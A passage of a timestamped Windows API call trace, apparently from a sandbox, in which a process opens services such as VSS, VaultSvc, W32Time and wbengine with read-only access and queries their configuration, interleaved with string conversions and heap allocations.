1 [0028.152] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.152] GetLastError () returned 0x7a [0028.152] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x15c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d20578, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="uxsms", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="uxsms", cchWideChar=5, lpMultiByteStr=0x1d20578, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uxsms", lpUsedDefaultChar=0x0) returned 5 [0028.152] OpenServiceW (hSCManager=0x286c38, lpServiceName="UxSms", dwDesiredAccess=0x1) returned 0x286d28 [0028.152] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0028.153] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.153] GetLastError () returned 0x7a [0028.153] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x15e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d205c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vaultsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vaultsvc", cchWideChar=8, lpMultiByteStr=0x1d205c0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vaultsvc", lpUsedDefaultChar=0x0) returned 8 [0028.153] OpenServiceW (hSCManager=0x286c38, lpServiceName="VaultSvc", dwDesiredAccess=0x1) returned 0x286e18 [0028.153] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.153] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.154] GetLastError () returned 0x7a [0028.154] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0xee, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x1d20608, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 9 [0028.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vds", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vds", cchWideChar=3, lpMultiByteStr=0x1d20608, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vds", lpUsedDefaultChar=0x0) returned 3 [0028.154] OpenServiceW (hSCManager=0x286c38, lpServiceName="vds", dwDesiredAccess=0x1) returned 0x286d00 [0028.154] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0028.154] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.154] GetLastError () returned 0x7a [0028.154] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0xf0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vds.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vds.exe", cchWideChar=7, lpMultiByteStr=0x1d20650, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vds.exe", lpUsedDefaultChar=0x0) returned 7 [0028.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vss", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vss", cchWideChar=3, lpMultiByteStr=0x1d20650, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vss", lpUsedDefaultChar=0x0) returned 3 [0028.155] OpenServiceW (hSCManager=0x286c38, lpServiceName="VSS", dwDesiredAccess=0x1) returned 0x286dc8 [0028.155] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0028.155] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.155] GetLastError () returned 0x7a [0028.155] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0xee, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vssvc.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vssvc.exe", cchWideChar=9, lpMultiByteStr=0x1d20698, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssvc.exe", lpUsedDefaultChar=0x0) returned 9 [0028.156] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d20650 [0028.156] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d20698) returned 1 [0028.156] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d20650) returned 1 [0028.156] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c91a50) returned 1 [0028.156] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d20650 [0028.156] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c91a50 [0028.156] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c919c8 [0028.156] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c91ad8 [0028.156] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c91b60 [0028.156] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c91be8 [0028.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="w32time", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.156] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d20698 [0028.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="w32time", cchWideChar=7, lpMultiByteStr=0x1d20698, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="w32time", lpUsedDefaultChar=0x0) returned 7 [0028.156] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d206e0 [0028.156] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d20698) returned 1 [0028.156] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d206e0) returned 1 [0028.156] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c91be8) returned 1 [0028.156] OpenServiceW (hSCManager=0x286c38, lpServiceName="W32Time", dwDesiredAccess=0x1) returned 0x286d28 [0028.156] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0028.156] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.157] GetLastError () returned 0x7a [0028.157] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x118, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.157] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c91be8 [0028.157] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c91c70 [0028.157] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c91be8) returned 1 [0028.157] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c91c70) returned 1 [0028.157] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c91c70 [0028.157] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c91be8 [0028.157] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c91c70) returned 1 [0028.157] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c91be8) returned 1 [0028.157] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c91be8 [0028.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.157] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d206e0 [0028.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d206e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.157] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d20698 [0028.157] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d206e0) returned 1 [0028.157] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d20698) returned 1 [0028.157] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c91be8) returned 1 [0028.157] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d20698 [0028.157] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c91be8 [0028.157] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c91c70 [0028.157] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c91cf8 [0028.157] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c91d80 [0028.157] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c91e08 [0028.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbengine", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.157] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d206e0 [0028.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbengine", cchWideChar=8, lpMultiByteStr=0x1d206e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbengine", lpUsedDefaultChar=0x0) returned 8 [0028.157] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d20728 [0028.158] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d206e0) returned 1 [0028.158] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d20728) returned 1 [0028.158] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c91e08) returned 1 [0028.158] OpenServiceW (hSCManager=0x286c38, lpServiceName="wbengine", dwDesiredAccess=0x1) returned 0x286e18 [0028.158] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.158] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.158] GetLastError () returned 0x7a [0028.158] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x10c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.158] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c91e08 [0028.158] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c91eb0 [0028.158] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c91e08) returned 1 [0028.158] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c91e08 [0028.158] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c91f38 [0028.158] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c91e08) returned 1 [0028.158] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c91f38) returned 1 [0028.158] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c91eb0) returned 1 [0028.158] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c91e08 [0028.159] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c91eb0 [0028.159] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c91e08) returned 1 [0028.159] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c91eb0) returned 1 [0028.159] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c91e08 [0028.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbengine.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.159] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d20728 [0028.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbengine.exe", cchWideChar=12, lpMultiByteStr=0x1d20728, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbengine.exe", lpUsedDefaultChar=0x0) returned 12 [0028.159] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d206e0 [0028.159] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d20728) returned 1 [0028.159] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d206e0) returned 1 [0028.159] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c91e08) returned 1 [0028.159] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d206e0 [0028.159] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c91e08 [0028.159] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c91eb0 [0028.159] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c91f38 [0028.159] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c91fc0 [0028.159] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92048 [0028.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbiosrvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.159] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d20728 [0028.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbiosrvc", cchWideChar=8, lpMultiByteStr=0x1d20728, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbiosrvc", lpUsedDefaultChar=0x0) returned 8 [0028.159] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d20770 [0028.159] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d20728) returned 1 [0028.159] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d20770) returned 1 [0028.159] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92048) returned 1 [0028.159] OpenServiceW (hSCManager=0x286c38, lpServiceName="WbioSrvc", dwDesiredAccess=0x1) returned 0x286d00 [0028.159] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0028.159] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.160] GetLastError () returned 0x7a [0028.160] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x15e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.160] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92048 [0028.160] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c920d0 [0028.160] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92048) returned 1 [0028.160] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c920d0) returned 1 [0028.160] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c920d0 [0028.160] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92048 [0028.160] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c920d0) returned 1 [0028.160] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92048) returned 1 [0028.160] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92048 [0028.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.160] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d20770 [0028.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d20770, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.160] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d20728 [0028.160] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d20770) returned 1 [0028.160] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d20728) returned 1 [0028.160] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92048) returned 1 [0028.160] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d20728 [0028.160] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92048 [0028.160] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c920d0 [0028.160] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92158 [0028.160] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c921e0 [0028.160] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92268 [0028.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wcncsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.160] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d20770 [0028.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wcncsvc", cchWideChar=7, lpMultiByteStr=0x1d20770, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wcncsvc", lpUsedDefaultChar=0x0) returned 7 [0028.161] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d207b8 [0028.161] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d20770) returned 1 [0028.161] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d207b8) returned 1 [0028.161] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92268) returned 1 [0028.161] OpenServiceW (hSCManager=0x286c38, lpServiceName="wcncsvc", dwDesiredAccess=0x1) returned 0x286dc8 [0028.161] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0028.161] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.161] GetLastError () returned 0x7a [0028.161] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x17a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.161] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x100) returned 0x1d1e158 [0028.161] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92048) returned 1 [0028.161] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92048 [0028.161] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92268 [0028.161] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92048) returned 1 [0028.161] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92268) returned 1 [0028.161] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92268 [0028.161] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92048 [0028.161] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92268) returned 1 [0028.161] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92048) returned 1 [0028.162] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92048 [0028.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.162] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d207b8 [0028.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d207b8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.162] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d20770 [0028.162] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d207b8) returned 1 [0028.162] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1d20770) returned 1 [0028.162] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c92048) returned 1 [0028.162] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1d20770 [0028.162] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92048 [0028.162] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92268 [0028.162] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c922f0 [0028.162] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92378 [0028.162] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c92400 [0028.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wcspluginservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.162] RtlAllocateHeap 